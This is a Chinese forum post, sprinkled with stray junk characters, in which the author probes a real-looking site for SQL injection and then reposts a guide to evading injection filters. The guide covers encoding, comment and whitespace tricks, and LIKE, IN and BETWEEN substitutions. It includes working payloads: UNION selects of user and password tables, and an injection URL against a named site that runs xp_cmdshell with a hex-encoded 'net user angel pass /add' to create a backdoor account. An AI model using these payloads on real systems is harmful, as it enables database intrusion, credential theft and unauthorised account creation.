路过这个网站,检测了一下.6 M6 s+ t% @# I b
http://www.xxx.cn/Article.asp?ID=117 and 1=1( o3 W& }/ i- e# W: r3 ?* }; J
直接返回主页
a! }9 y! f8 l8 R4 F0 f" b/ Mhttp://www.xxx.cn/Article.asp?ID=117 or 1=1. {* I) U N1 V% K( t Y$ y
直接返回主页
4 ]3 N0 u/ r6 h) @http://www.xxx.cn/Article.asp?ID=117 or
; `: r1 T9 O& k1 |8 S6 I& E0 p& P没有返回主页 没有过滤or O$ E. I9 p9 b9 Q
http://www.xxx.cn/Article.asp?ID=117 and* l7 N; R5 o1 [9 U h, @
直接返回主页 看来过滤了and
- x, Z4 U6 |! N/ t; i# W ^http://www.xxx.cn/Article.asp?ID=117 or 1
* t' z; ~9 G' {8 b" ^6 n$ N% m没有返回主页 即没有过滤or 也没有过滤1& R3 O2 C' ^, ~& |2 n
http://www.xxx.cn/Article.asp?ID=117 or 1=1& {/ {, `' t2 X4 x. K+ ^+ ]1 f4 ^
直接返回主页 很明显过滤了等号
* q8 S/ C; i* i; n$ [or的特性是与and相反的.
. S# Q7 y2 b$ [/ q& `" `1 Z u* Jor 1=1 爆错 或与原页面不同
5 b5 s3 X7 Z1 P) bor 1=2 原页面相同
) p& R5 H( l* g3 O9 e& T这样就是一个注入点
+ n" | L7 C# M$ j但他过滤了=号 我就用><号代替=号吧! b0 d2 [ F/ U4 R
or 1<2 很明显是正确的,所以应该与原页面不同; ^: ]; G3 ~/ ?( Z9 i. `
or 1>2 很明显是错误的,所以应该与原页面相同7 _& V: q$ a% g- ~! }( f f5 Y
然后看看有没有过滤其他的查询语句,比如select.
& `' }5 B( t I' N4 T0 r! I+ r! |http://www.xxx.cn/Article.asp?ID=117 select, O; X- M0 w, r ]7 X3 N- h8 Z M/ [
直接返回主页
/ ^% ]! R; n ^2 [7 O" V k: L5 o4 w又迷茫了..
& u, d7 u0 o$ K/ m
- E1 ^. ?% x1 b6 _. Z* _3 p# {1 \9 X. x ^. t
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗, |2 O5 {$ V4 ?! A
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)) q- k6 c7 t' k+ f! c
================================================
8 n# R3 U* B+ v( p. \以下是转贴:" X7 i7 m! j$ t# {0 w0 Q
) b/ `1 [/ L0 ^" V2 u
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 7 L+ m2 ?. {5 U( z3 j1 R! }7 _" n# J! y
经过我的收集,大部分的防注入程序都过滤了以下关键字:
7 |* I, r* g5 a7 ]2 Mand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
9 o- I [6 D, \/ x而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 3 v+ {4 a. X' x/ T! V5 F. W- X
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 ) w2 W- A; L0 s' y4 f$ f6 X. R
1、运用编码技术绕过
. [( i; c" c% Q2 c7 _' `如URLEncode编码,ASCII编码绕过。例如or 1=1即 ; e7 {. ^+ z1 g5 S1 ~
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
8 X/ n* d& {3 o6 G x- C# K7 m& }. y- G* m! k
2、通过空格绕过
7 R, @8 ~7 P8 K如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 - e5 v/ i& _" U: C3 N3 y8 v$ }- d
or’ swords’ =‘swords’ : S2 x7 j: q7 L/ ~1 b) r( t2 Y9 Q
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 # w( @. ]" ^9 Q$ ~1 P. r
3、运用字符串判断代替 * ]7 n/ ?# }. h. q) O
用经典的or 1=1判断绕过,如
6 } {1 f/ s; y0 `0 _' m3 y: gor ’swords’ =’swords’ E" ~. [4 ^" C$ D
,这个方法就是网上在讨论的。 ) a0 N) @" I& o/ d9 z
4、通过类型转换修饰符N绕过
6 G, ?7 `. I3 r! m$ d4 x4 ?) X1 S5 k可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 . ^' _0 n/ s1 W( E" ^
5、通过+号拆解字符串绕过 % R' h7 N) F2 P+ u, j
效果值得考证,但毕竟是一种方法。如
/ x. L3 q* j8 s% B, M s) cor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 8 e* f2 s; C6 t! r4 |& ~, Z4 b
6 y# n" z: e, j2 A. {
6、通过LIKE绕过 7 _! v6 k |$ f* p
以前怎么就没想到呢?如or 7 u; L6 d: ^) x7 V2 A B% @
’swords’ LIKE ’sw’ ) a6 j: w! X4 q
!!!显然可以很轻松的绕过 9 r; P* R' p1 g* ^, K+ E2 B h
“=”“>”
- k! h2 Y8 S3 T0 h+ F3 B的限制……
0 w! y1 n7 ?! _" U; X& O! I5 e2 u7、通过IN绕过
% i" h) @9 D1 K3 M( t! \与上面的LIKE的思路差不多,如
+ r3 {4 y& i& G/ mor ’swords’ IN (’swords’) 9 g6 r$ G- Y4 D' C6 J _
8 i- z4 H# O- ^( m, i. l8、通过BETWEEN绕过
+ w- W2 e* v& L# L如 3 w. I0 z" K2 g5 ~+ y3 u
or ’swords’ BETWEEN ’rw’ AND ’tw’ " A+ q0 g# n" x* l, P" n# H9 E1 p
' ~( i9 W1 ]! m' m& f$ X9、通过>或者<绕过
' k$ D. w- x7 \/ _' |or ’swords’ > ’sw’
& J/ E$ F. C2 F" I2 q7 m$ Kor ’swords’ < ’tw’
1 ?4 c9 ]' n; C! U7 E, Z& ^or 1<3
7 M+ I9 m- C7 H. P……
$ Z" c+ @) \5 z- A6 Q) L. a10、运用注释语句绕过 v6 y' W; j8 u; [' ^) |
用/**/代替空格,如:
. M; T% N9 o: d& }3 x9 R5 ~UNION /**/ Select /**/user,pwd,from tbluser # ~3 m. l0 G8 Z3 x: j9 `, |
( r9 F- _4 t& u. W$ o' B( e- m9 P
用/**/分割敏感词,如:
; l$ @9 L" Z1 w/ V7 @U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 7 b. J' j. r V) h3 D5 p
, n3 K7 Z% S, l5 p d$ ~, ]11、用HEX绕过,一般的IDS都无法检测出来
' U: d i/ \8 a. }% {. ~+ S. o0x730079007300610064006D0069006E00 =hex(sysadmin)
% A4 u/ {- e# f0x640062005F006F0077006E0065007200 =hex(db_owner)
8 ~! F8 C+ a$ a! J+ h& D% ]0 E- R另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 2 T* y9 V1 _+ ^ p$ N! I; _
declare @a sysname
* P- X; n- h4 J: p6 t4 g! ^ select @a=
* x; S5 t8 h9 L exec master.dbo.xp_cmdshell @a 1 H9 p7 f8 W1 N. E" r
效果 L( M4 W- G2 K0 V+ {8 z
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- # U; x) _" o% s) b2 R$ P
3 e* Q$ c1 s5 q) ]/ Q其中的 " U* N# X8 l1 V) l% ?
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 9 C v6 g) @$ _" ?) Y5 g: R
就是
/ x3 l3 Z/ s3 E, O4 A“net user angel pass /add”
# l: r6 Q* R% ^6 g- M
# c P! h: v- n3 H" t一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
: @4 H& B% x* f, S; k1 |引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。& ^4 J$ _3 C1 A) Q0 s+ K
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似; ^) q, q8 m4 L! {7 t
Copy code% S% j/ _. [6 B0 b! p) m/ H5 Y
select * from table exec xp_cmdshell'xxxxxxxxxx'1 ?. t# S5 j" e
/ q) C! p* `1 K0 J6 B0 [
# h7 I) P8 ]1 xselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
! O0 c, T3 ?+ F7 R ~ K( K& e* @4 J0 V$ [! o( b* z
7 E% m* t0 l& P1 qselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
7 N/ E4 D: r% J: L3 j* F$ g' U% U1 h7 Z' q3 d
. X6 a' a5 c" ~, K7 b8 Oselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'/ O+ ~/ V+ _! a/ c- R) X
' D) z. v6 P3 \, q* h" B/ s- y B的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
6 [4 ?" Q9 T7 O4 q
2 O* d( k/ ? _" y1 m这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
9 H$ m2 A5 W* D! A& |7 ]可能大家早就知道了,不管怎么说,发在这里吧!2 [; [. b4 p% V: U$ {
/ S: A. v& P& i" G最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
" ]. _. c5 R* |, n/ K- l
/ A' S+ S9 o* c% L& _4 J6 \
2 F: w; X+ x& h! c
; b) _+ L w1 [2 `, f对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,' P. {5 Q; `7 u. N2 X
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 4 r$ r1 }1 y; E# R8 Y
! e2 j, T6 G5 `/ [9 F1 T5 \- K
|